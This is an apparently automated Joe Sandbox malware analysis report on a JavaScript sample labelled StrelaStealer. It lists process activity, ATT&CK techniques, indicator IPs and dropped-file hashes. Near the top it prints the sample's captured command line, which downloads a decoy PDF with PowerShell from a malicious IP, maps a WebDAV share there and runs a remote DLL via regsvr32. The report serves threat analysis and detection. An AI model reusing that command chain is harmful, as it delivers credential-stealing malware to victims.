Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\3141767929092.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\3141767929092.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	2 Windows Management Instrumentation	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Command and Scripting Interpreter	1 DLL Side-Loading	1 DLL Side-Loading	141 Virtualization/Sandbox Evasion	LSASS Memory	21 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Native API	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	1 Exploitation for Client Execution	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	141 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	2 PowerShell	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	142 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
22964327542023110895.js	5%	Virustotal		Browse
22964327542023110895.js	5%	ReversingLabs	Script-JS.Trojan.StrelaStealer

Source	Detection	Scanner	Label
http://193.143.1.205:8888/pacez(	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/=C	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/YDE	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
bg.microsoft.map.fastly.net	199.232.210.172	true	false		high
x1.i.lencr.org	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://g.live.com/odclientsettings/Prod.C:	edb.log.8.dr	false		high
http://crl.ver)	svchost.exe, 00000008.00000002.2975627006.0000019B9EA00000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.7.dr	false		high
https://g.live.com/odclientsettings/ProdV2.C:	edb.log.8.dr	false		high
http://193.143.1.205:8888/pacez(	net.exe, 00000006.00000002.1787079910.000002A301018000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://g.live.com/odclientsettings/ProdV2	edb.log.8.dr	false		high
https://g.live.com/odclientsettings/ProdV2?OneDriveUpdate=f359a5df14f97b6802371976c96	svchost.exe, 00000008.00000003.1787938411.0000019B9ED12000.00000004.00000800.00020000.00000000.sdmp, edb.log.8.dr	false		high
http://193.143.1.205:8888/	net.exe, 00000006.00000002.1787079910.000002A301018000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1787079910.000002A30106B000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1787079910.000002A301048000.00000004.00000020.00020000.00000000.sdmp	false		high
https://g.live.com/1rewlive5skydrive/OneDriveProductionV2?OneDriveUpdate=9c123752e31a927b78dc96231b6	svchost.exe, 00000008.00000003.1787938411.0000019B9ED12000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	false		high
http://193.143.1.205:8888/=C	net.exe, 00000006.00000002.1787079910.000002A301048000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/YDE	net.exe, 00000006.00000002.1787079910.000002A301048000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1588734
Start date and time:	2025-01-11 04:47:17 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 4s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	16
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	22964327542023110895.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@27/55@2/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 184.28.88.176, 18.213.11.84, 54.224.241.105, 50.16.47.176, 34.237.241.83, 2.16.168.105, 2.16.168.107, 52.149.20.212, 162.159.61.3, 172.64.41.3, 2.22.50.131, 2.22.50.144, 2.23.242.162, 20.242.39.171, 23.209.209.135, 13.85.23.206, 20.12.23.50, 23.56.162.204, 13.107.246.45
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, e8652.dscx.akamaiedge.net, slscr.update.microsoft.com, a767.dspw65.akamai.net, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, ocsp.digicert.com, ssl-delivery.adobe.com.edgekey.net, a122.dscd.akamai.net, e16604.g.akamaiedge.net, glb.cws.prod.dcat.dsp.trafficmanager.net, sls.update.microsoft.com, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, glb.sls.prod.dcat.dsp.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net, fs.microsoft.com, otelrules.azureedge.net, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com.delivery.microsoft.com, ctldl.windowsupdate.com, p13n.adobe.io, download.windowsupdate.com.edgesuite.net, fe3cr.delivery.mp.microsoft.com, fe3.delivery.mp.microsoft.com, armmf.adobe.com, geo2.adobe.com
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
22:48:16	API Interceptor	25x Sleep call for process: powershell.exe modified
22:48:20	API Interceptor	1x Sleep call for process: net.exe modified
22:48:20	API Interceptor	2x Sleep call for process: svchost.exe modified
22:48:33	API Interceptor	1x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	301425897285010519.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2949911514285745182.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2708993316838119.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	18620271451234622924.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	26999259552055117101.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	622118739225021737.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	32139134812378922139.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	42384357676028189.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	696568221068916474.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1528152952987120978.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
bg.microsoft.map.fastly.net	RzEqKuZBuK.exe	Get hash	malicious	GuLoader	Browse	199.232.210.172
	301425897285010519.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	2708993316838119.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	26999259552055117101.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	622118739225021737.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	32139134812378922139.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	42384357676028189.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	696568221068916474.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	18203107951121827015.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	200475024256003612.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	301425897285010519.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2949911514285745182.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2708993316838119.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	183751298714312883.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	3414115772858819502.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	18620271451234622924.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	26999259552055117101.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	622118739225021737.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	32139134812378922139.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	42384357676028189.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	1.307350417736957
Encrypted:	false
SSDEEP:	3072:5JCnRjDxImmaooCEYhlOe2Pp4mH45l6MFXDaFXpVv1L0Inc4lfEnogVsiJKrvrE:KooCEYhgYEL0In
MD5:	00482353F632DA32DFF7559213E692E1
SHA1:	3B3FFF031FA8936892AB2ED755F24A5119DADB7F
SHA-256:	9551972EFEEF109F2B8DF190DB124FCB61C97E15AFBEB43D47F00DC394AB1B13
SHA-512:	194E1BCE22BFB74DBE29EF63BB7225B8DE867E60A50D5FD811A1D9403D92B5E4FBFD12C2ACC0A89EA5A5978DE84D81D49863181E6E48460D3761E94419F22741
Malicious:	false
Preview:	z3..........@..@.;...{..................<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@..........................................#.................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0x6acb9a62, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.4220932216473611
Encrypted:	false
SSDEEP:	1536:ZSB2ESB2SSjlK/dvmdMrSU0OrsJzvdYkr3g16T2UPkLk+kTX/Iw4KKCzAkUk1kI6:Zaza/vMUM2Uvz7DO
MD5:	4ABF0DC1234B3FB296366055B5A1A06B
SHA1:	399878096B502D7D23F00D133A6B60DBB86F2791
SHA-256:	A47BEF6DF04BFE5BC410A29A708EF58FADFF1F0FA21CEFAAE4FFFCD27AFE77A8
SHA-512:	88F43A4E0B54BE049A38798BA7DFAFB16A4D0298963D745773A955F18202031A52BC21D4DC93E43A01C34A8C0895B2B60DFDB01979B2B786320D0C22405C2DF3
Malicious:	false
Preview:	j.b... .......A.......X\...;...{......................0.!..........{A..0...}C.h.#.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ........;...{...............................................................................................................................................................................................2...{.......................................0...}...................-...0...}C..........................#......h.#.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	OpenPGP Public Key
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.07718459297174843
Encrypted:	false
SSDEEP:	3:nW8YeHJ8vCjn13a/LuiAllcVO/lnlZMxZNQl:dzHma53qCiAOewk
MD5:	0F0825998CC7585375B2B828A7D8367C
SHA1:	6A0707FBF175C991FA4A8CA62C7AAE08C020A677
SHA-256:	B543B4DE2B41796A9C85A200CB2289ED2BB6B68412139E236A37534A2984104E
SHA-512:	054F8FD787155A61AA7A660AAF5A3F4646E1CB9A2FB5F42D45A492552E06B325FD197D9012D44B76367D6E19CC387446DA5406D2540AAE5A093E080036322B49
Malicious:	false
Preview:	.n.......................................;...{...0...}C......{A..............{A......{A..........{A].................-...0...}C.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.206405258006913
Encrypted:	false
SSDEEP:	6:iO4qXuc+q2Pwkn2nKuAl9OmbnIFUtSqXk5ZmwsqX2V5NVkwOwkn2nKuAl9OmbjLJ:7oc+vYfHAahFUtC/45NV5JfHAaSJ
MD5:	1E45EED8096C0E42D2F2B45E36D037F6
SHA1:	C4B17F47FCC772A720C3A6BF357542BB8A7D905C
SHA-256:	6372EB375FA7B3714E4FC3FED9AB25E30757EBFF2C9F9C2C00944D2C0B1D34DE
SHA-512:	20CB25646B6617DC9911E71B1FE2E5D5DF1A3A99C5658991B1906215563D2AE10E85F4BA877988EBD552E70C0C06FC5A7A1C536C11FD6B598F2E7651FADB31CA
Malicious:	false
Preview:	2025/01/10-22:48:20.644 1fdc Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-22:48:20.649 1fdc Recovering log #3.2025/01/10-22:48:20.650 1fdc Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.206405258006913
Encrypted:	false
SSDEEP:	6:iO4qXuc+q2Pwkn2nKuAl9OmbnIFUtSqXk5ZmwsqX2V5NVkwOwkn2nKuAl9OmbjLJ:7oc+vYfHAahFUtC/45NV5JfHAaSJ
MD5:	1E45EED8096C0E42D2F2B45E36D037F6
SHA1:	C4B17F47FCC772A720C3A6BF357542BB8A7D905C
SHA-256:	6372EB375FA7B3714E4FC3FED9AB25E30757EBFF2C9F9C2C00944D2C0B1D34DE
SHA-512:	20CB25646B6617DC9911E71B1FE2E5D5DF1A3A99C5658991B1906215563D2AE10E85F4BA877988EBD552E70C0C06FC5A7A1C536C11FD6B598F2E7651FADB31CA
Malicious:	false
Preview:	2025/01/10-22:48:20.644 1fdc Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-22:48:20.649 1fdc Recovering log #3.2025/01/10-22:48:20.650 1fdc Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	333
Entropy (8bit):	5.132044810564487
Encrypted:	false
SSDEEP:	6:iO4qX8wq2Pwkn2nKuAl9Ombzo2jMGIFUtSqX8HZmwsqX8QZkwOwkn2nKuAl9OmbX:72wvYfHAa8uFUtIH/Si5JfHAa8RJ
MD5:	ACC2C7B1534A061887CA28FF5B00B52E
SHA1:	40F3BF6536262F16E9F12C50641524D34C9F2114
SHA-256:	76708EAC0FD7D5077F6FB36F22711AE951CE6191A00CA8848436FC0033F0F829
SHA-512:	2939F39FC72C467D530FA70C7C2FA3DAC66B78478650D1EA1A5FF181E554BA9E9C28E712D8AA8AE7F15A1D4C5B10DF991E7B17ED84D55DDE60CB45F82A4C08A0
Malicious:	false
Preview:	2025/01/10-22:48:20.812 c30 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-22:48:20.814 c30 Recovering log #3.2025/01/10-22:48:20.815 c30 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	333
Entropy (8bit):	5.132044810564487
Encrypted:	false
SSDEEP:	6:iO4qX8wq2Pwkn2nKuAl9Ombzo2jMGIFUtSqX8HZmwsqX8QZkwOwkn2nKuAl9OmbX:72wvYfHAa8uFUtIH/Si5JfHAa8RJ
MD5:	ACC2C7B1534A061887CA28FF5B00B52E
SHA1:	40F3BF6536262F16E9F12C50641524D34C9F2114
SHA-256:	76708EAC0FD7D5077F6FB36F22711AE951CE6191A00CA8848436FC0033F0F829
SHA-512:	2939F39FC72C467D530FA70C7C2FA3DAC66B78478650D1EA1A5FF181E554BA9E9C28E712D8AA8AE7F15A1D4C5B10DF991E7B17ED84D55DDE60CB45F82A4C08A0
Malicious:	false
Preview:	2025/01/10-22:48:20.812 c30 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-22:48:20.814 c30 Recovering log #3.2025/01/10-22:48:20.815 c30 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.957652416947687
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqrXhsBdOg2H0caq3QYiubInP7E4T3y:Y2sRdsMydMHn3QYhbG7nby
MD5:	8DBC1FC6646AF1D4C6F8354CF6F5E1B0
SHA1:	86D8A625C225239E9AAB48580B38CDF53A579FE7
SHA-256:	196A4DC737A8A80F418DB63C092D1CFB120FC76711EF8DFBCE8C56C3BD16F6F8
SHA-512:	F12E3F0019D3ED2F874ED57BC35192A3E060C05A18D88FE7754BAB05F9C98D30028DB258706F43441554094ED36D0956302F44A2844137A49A5E06F9869B11A0
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381127313226516","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":134260},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.4","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\d060503c-033e-4b4a-b59b-ff3aebb50f5b.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	475
Entropy (8bit):	4.957652416947687
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqrXhsBdOg2H0caq3QYiubInP7E4T3y:Y2sRdsMydMHn3QYhbG7nby
MD5:	8DBC1FC6646AF1D4C6F8354CF6F5E1B0
SHA1:	86D8A625C225239E9AAB48580B38CDF53A579FE7
SHA-256:	196A4DC737A8A80F418DB63C092D1CFB120FC76711EF8DFBCE8C56C3BD16F6F8
SHA-512:	F12E3F0019D3ED2F874ED57BC35192A3E060C05A18D88FE7754BAB05F9C98D30028DB258706F43441554094ED36D0956302F44A2844137A49A5E06F9869B11A0
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381127313226516","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":134260},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.4","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	4320
Entropy (8bit):	5.253759813972637
Encrypted:	false
SSDEEP:	96:etJCV4FAsszrNamjTN/2rjYMta02fDtehgO7BtTgo7yByzL:etJCV4FiN/jTN/2r8Mta02fEhgO73goV
MD5:	97C38A17C195B278E1D43EA134AF9258
SHA1:	3D835AC36C92004379300631FCB3B1AED9EE3B61
SHA-256:	BB14571A99ACD4CD99DAA0178470D9BD06B1230082BBE76A8B6F381FBD2B045D
SHA-512:	38DE4A70EC2039205EF348858FD60A9F637718E72B8216C30055CDEB2AA49CBD5A264722F51E766373F1A340961341DFCFA7F0048CE23D7DB8DC91227BA80151
Malicious:	false
Preview:	*...#................version.1..namespace-['O.o................next-map-id.1.Pnamespace-158f4913_074a_4bdf_b463_eb784cc805b4-https://rna-resource.acrobat.com/.0>...r................next-map-id.2.Snamespace-fd2db5bd_ef7e_4124_bfa7_f036ce1d74e5-https://rna-v2-resource.acrobat.com/.1O..r................next-map-id.3.Snamespace-cd5be8d1_42d2_481d_ac0e_f904ae470bda-https://rna-v2-resource.acrobat.com/.2.\.o................next-map-id.4.Pnamespace-6070ce43_6a74_4d0a_9cb8_0db6c3126811-https://rna-resource.acrobat.com/.3....^...............Pnamespace-158f4913_074a_4bdf_b463_eb784cc805b4-https://rna-resource.acrobat.com/..\|.^...............Pnamespace-6070ce43_6a74_4d0a_9cb8_0db6c3126811-https://rna-resource.acrobat.com/n..Fa...............Snamespace-fd2db5bd_ef7e_4124_bfa7_f036ce1d74e5-https://rna-v2-resource.acrobat.com/DQ..a...............Snamespace-cd5be8d1_42d2_481d_ac0e_f904ae470bda-https://rna-v2-resource.acrobat.com/i.`do................next-map-id.5.Pnamespace-de635bf2_6773_4d83_ad16_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	321
Entropy (8bit):	5.172742345825281
Encrypted:	false
SSDEEP:	6:iO4qX4cq2Pwkn2nKuAl9OmbzNMxIFUtSqX46ZmwsqX4GkwOwkn2nKuAl9OmbzNMT:7ycvYfHAa8jFUtM6/WG5JfHAa84J
MD5:	4A49B4EC281A5465D2F273201D6D8C2B
SHA1:	06A9D2DE10FC3F0836ECC8C2DDED3A80D9EB6B93
SHA-256:	C38C046D70445DB0AC4FB5BFBAFD3F53E7FBE56619552BB3FE7F178386AB7A23
SHA-512:	69E6810C190C22B692412CE741DF98E033CA38064E3C7BF3798F6DE50DA186FD57F596891D1F161086431929796CD3F65E82D723303BADCC6CD2ED3BF4469D84
Malicious:	false
Preview:	2025/01/10-22:48:20.856 c30 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-22:48:20.859 c30 Recovering log #3.2025/01/10-22:48:20.859 c30 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	321
Entropy (8bit):	5.172742345825281
Encrypted:	false
SSDEEP:	6:iO4qX4cq2Pwkn2nKuAl9OmbzNMxIFUtSqX46ZmwsqX4GkwOwkn2nKuAl9OmbzNMT:7ycvYfHAa8jFUtM6/WG5JfHAa84J
MD5:	4A49B4EC281A5465D2F273201D6D8C2B
SHA1:	06A9D2DE10FC3F0836ECC8C2DDED3A80D9EB6B93
SHA-256:	C38C046D70445DB0AC4FB5BFBAFD3F53E7FBE56619552BB3FE7F178386AB7A23
SHA-512:	69E6810C190C22B692412CE741DF98E033CA38064E3C7BF3798F6DE50DA186FD57F596891D1F161086431929796CD3F65E82D723303BADCC6CD2ED3BF4469D84
Malicious:	false
Preview:	2025/01/10-22:48:20.856 c30 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-22:48:20.859 c30 Recovering log #3.2025/01/10-22:48:20.859 c30 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 15, database pages 21, cookie 0x5, schema 4, UTF-8, version-valid-for 15
Category:	dropped
Size (bytes):	86016
Entropy (8bit):	4.445010569396699
Encrypted:	false
SSDEEP:	384:yezci5teiBA7aDQPsknQ0UNCFOa14ocOUw6zyFzqFkdZ+EUTTcdUZ5yDQhJL:rxs3OazzU89UTTgUL
MD5:	6B458932AD69E6A16B7FDDD5A4E7342F
